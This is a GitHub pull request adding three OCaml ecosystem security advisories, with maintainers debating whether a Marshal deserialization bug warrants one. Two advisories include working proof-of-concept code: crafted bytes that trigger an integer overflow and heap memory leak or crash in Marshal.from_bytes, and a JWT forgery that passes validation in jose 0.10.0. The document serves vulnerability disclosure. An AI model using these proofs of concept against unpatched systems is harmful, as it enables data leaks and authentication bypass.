Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
128 changes: 128 additions & 0 deletions advisories/2026/OSEC-2026-18.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
```
id: OSEC-2026-18

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

was this really worth a formal security advisory? To exploit this you'd have to use marshal (unsafe) and have access to marshalled data (if that's the case you've already been pwnd by something else beforehand).

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Indeed, similar to OSEC-2026-01, an application using Marshal on untrusted data is vulnerable.

When we discussed OSEC-2026-01, our approach for Marshal is that it should be memory-safe. The issue discovered here is an integer overflow leading to a out-of-heap read. So, we thought better to issue an advisory so that people are getting aware of this issue and update their systems.

Indeed, the question is what is the security boundary / threat model. And as explained above, for Marshal we have had a discussion. If you Marshal untrusted data, you may end up with type unsafe data, but you should keep memory safety.

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So does this mean that every memory safety issue is automatically a security issue regardless of exploitatability? If so that changes my mental model of what a security issue is

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure what you mean with "regardless of exploitability"?

From the advisory:

let () =
  let buf = Bytes.create 40 in
  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
  for i = 4 to 7 do Bytes.set buf i '\000' done;
  for i = 8 to 15 do Bytes.set buf i '\xff' done;
  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)
  for i = 16 to 31 do Bytes.set buf i '\000' done;  (* num_objects = whsize = 0 *)
  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)
  for i = 33 to 39 do Bytes.set buf i 'A' done;     (* only 7 real bytes follow *)
  let s : string = Marshal.from_bytes buf 0 in
  Printf.printf "len=%d content=%S\n" (String.length s) s

So, when your application accepts any untrusted input and calls Marshal.from_bytes on it, there is a heap disclosure, or a crash.

What are your semantics of "exploitable"? Remote code execution only?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What are your semantics of "exploitable"? Remote code execution only?

no, i meant more like "exploitable (as long as the user of the feature doesn't do anything stupid)"

So, when your application accepts any untrusted input and calls Marshal.from_bytes on it

To me this precisely falls into the "as long as the user of the feature doesn't do anything stupid" asterisk.
To me this feels a bit like if someone said "your software has a bug. You see, i gave root access to my machine to some random guy and now i have malware, but it's your fault!"

If the feature is misused in that way, then it should be a security advisory on the user's code, rather than in the compiler, in my opinion.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree that is a tricky distinction, and would appreciate if we'd only have to handle security advisories for applications. Now, since in ocaml/opam there are lots of libraries, we have to deal with security issues in there.

"As long as the user of the feature doesn't do anything stupid" - that's a great definition of exploitable, but unfortunately the "anything stupid" is a very subjective wording - and there may be some code that falls under it, while some other code doesn't -- depending on the person evaluating.

The security team takes a decision on when to issue advisories. An advisory is always there to help users and developers to detect potential issues and improve their code. It is of course a fact that in the OCaml/opam ecosystem a lot of libraries are developed and released, and just by using such a library, you won't necessarily have an exploit in your application.

Take a look at OSEC-2026-16, there are millions of usages of cohttp which won't be affected. There are others which are affected -- depending on whether you use the vulnerable function or not. Going from a security advisory for an OCaml library to evaluation whether your application is vulnerable is manual work (let me know if there's a way to do so automatically). The easy path is to update the dependency if it has a known vulnerability.

With respect to Marshal, until 2022 the widely used "unison" file synchronization tool used Marshal over the network. So, there may be other applications out there using that. I'm not aware of such an application (that listens on the network (or locally) for marshalled data).

I hope this makes sense, please let us know if you have further questions or remarks.

modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
severity_score: "6.8"
affected: "ocaml" {< "5.5.1"}
events: [
[
git "https://github.com/ocaml/ocaml" [
[fixed "928e7c8a950db8730e8e84105d3be347cae38f5c"]
]
]
[
git "https://github.com/ocaml/ocaml" [
[fixed "304654884d0c90b2e4ab673ff88caef38b05c714"]
]
]
[
git "https://github.com/ocaml/ocaml" [
[fixed "428288660cc1f655605347e09e2fbc0b0a404660"]
]
]
]
credits: [
[reporter "Akshay M Singh"]
[remediation_developer "Xavier Leroy"]
[remediation_reviewer "Nicolás Ojeda Bär"]
[remediation_reviewer "Antonin Décimo"]
[coordinator "Hannes Mehnert"]
]
cwe: [ CWE-190 CWE-125 ]
aliases: [ CVE-2026-28364 ]
references: [
[fix "https://github.com/ocaml/ocaml/pull/15019"]
[fix "https://github.com/ocaml/ocaml/pull/15030"]
]
related: [ OSEC-2026-01 ]
```

# Marshal integer overflow leads to out-of-heap read

An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`).

## Root cause

`runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:

```c
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
caml_failwith("input_val_from_string: bad length");
```

`h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len >= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes.

The CVE-2026-28364 fix introduced:

```c
/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */
```

`intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len > end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer.

The OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via `caml_marshal_data_size` (intern.c:1116-1150):

```c
return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */
```

`Marshal.from_bytes` (marshal.ml:55-62) calls `data_size_unsafe` first, gets a wrapped `len` (0 or negative), and its re-check `ofs > Bytes.length buff - (header_size + len)` passes.

The same unchecked wrap exists in `caml_input_value_from_buffer` (intern.c:1080), used by the public C API `caml_input_value_from_block` and `caml_input_value_from_malloc` - these have no OCaml-side validation at all.

## Exploit path

1. Craft 32-byte header: `Intext_magic_number_big` + 4 padding bytes + `data_len = 2^64 - 16` + `num_objects = 0` + `whsize = 0`.
2. Append a valid object code byte stream (e.g., a "small string" code `0x3F` = 31 bytes, or `CODE_STRING32` with an arbitrary length).
3. Call `Marshal.from_bytes buf 0` (or `Marshal.from_string`).
4. `data_size_unsafe` returns 0; OCaml-side check passes.
5. C-side check `0 + 32 + (2^64-16) = 16 > len` passes (wrapped).
6. `intern_src_end` wraps to `buf + 16`; all `intern_check_read` pass.
7. `intern_rec` executes `readblock(s, dest, len)` with attacker-chosen `len`, `memcpy`-ing heap memory past the buffer end into the returned string (info leak), or a huge `len` (SIGBUS/SIGSEGV, DoS).

## Proof of concept

Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt`.

### 1. Heap information disclosure (clean, no crash)

```ocaml
let () =
let buf = Bytes.create 40 in
Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
for i = 4 to 7 do Bytes.set buf i '\000' done;
for i = 8 to 15 do Bytes.set buf i '\xff' done;
Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *)
for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *)
Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *)
for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *)
let s : string = Marshal.from_bytes buf 0 in
Printf.printf "len=%d content=%S\n" (String.length s) s
```

Output (24 bytes past the 40-byte buffer leaked into the returned string):

```
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
```

### 2. Denial of service (crash)

Same header; stream byte 32 = `0x0A` (`CODE_STRING32`), big-endian `0x40000000` (1 GB) length, 37-byte buffer:

```
$ ./crash; echo "exit=$?"
exit=138 (128 + SIGBUS)
```

## Timeline

- 2026-08-15: report to security@ocaml.org
- 2026-08-25: patch developed
- 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
- 2026-09-05: release of OCaml 5.5.1
- 2026-09-10: advisory published
78 changes: 78 additions & 0 deletions advisories/2026/OSEC-2026-19.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
```
id: OSEC-2026-19
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
severity_score: "9.1 (Critical)"
affected: "jose" {< "0.11.0"}
events: [
[
git "https://github.com/ulrikstrid/ocaml-jose" [
[fixed "cf17d991ec6a0d1997956b6c7799890f9c28879e"]
]
]
]
credits: [
[reporter "Sergey Zhukaev"]
[coordinator "Hannes Mehnert"]
[coordinator "Konstantin Olkhovskiy"]
[remediation_developer "Ulrik Strid"]
]
cwe: [ CWE-347 ]
```

# JOSE: missing RSA signature verification

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.

## Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:

```OCaml
let () = Mirage_crypto_rng_unix.use_default ()

let key =
Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())

let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string

let seg n token = List.nth (String.split_on_char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
Jose.Jwt.unsafe_of_string forged
|> Result.get_ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
| Ok t ->
print_endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
| Error _ -> print_endline "rejected"
```

The dune file:
```
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
```

This prints "accepted, sub = admin".

## Workaround

There is no workaround known.

## Timeline

- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: published advisory
56 changes: 56 additions & 0 deletions advisories/2026/OSEC-2026-20.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
```
id: OSEC-2026-20
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
severity_score: "7.3 (High)"
affected: "cstruct" {< "6.3.0"}
events: [
[
git "https://github.com/mirage/ocaml-cstruct" [
[fixed "936f1010d3e9914da9c5c8a4739e9278a37e1c3e"]
]
]
]
credits: [
[reporter "Anil Madhavapeddy"]
[remediation_reviewer "Thomas Gazagnaire"]
[remediation_developer "Anil Madhavapeddy"]
]
references: [
[fix "https://github.com/mirage/ocaml-cstruct/pull/324"]
]
cwe: [ CWE-682 ]
affected_bindings: [ "Cstruct.filter_map" "Cstruct.tail" "Cstruct.cuts" "Cstruct.find" "Cstruct.find_rev" ]
```

# Cstruct indexing bugs can corrupt filtered output and reverse parsing results

The security advisory information in that issue is uptodate, and I've just opened cstruct.6.3.0 on the opam-repo with the fixes. Do let me know if I need to do anything else to inform an advisory beyond what I put into the GH issue. I can wait for a CVE, or announce the fix on Discuss first, as you prefer.

## Impact

- `Cstruct.filter_map` writes retained bytes at their original input positions, producing corrupted output when earlier bytes are dropped.
- `Cstruct.tail ~rev:true` removes two bytes instead of one and raises an exception for single-byte views.
- `Cstruct.cuts ~rev:true` may compare input against the wrong data, split at incorrect positions, and construct results using offsets outside the requested view.
- `Cstruct.find` and `Cstruct.find_sub ~rev:true` may return slices from the wrong location when operating on non-zero-offset views.

These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer.

In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents.

## Workarounds

Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls.

## References

Discovered via [Scrutineer](https://github.com/alpha-omega-security/scrutineer) and Deepseek GLM-5.3 Flash running locally.

## Timeline

- 2026-09-04: reported via GitHub to ocaml/security-advisories repository
- 2026-09-05: reported via email to security@ocaml.org
- 2026-09-05: patch proposed and reviewed
- 2026-09-05: release cstruct 6.3.0
- 2026-09-10: published advisory
Loading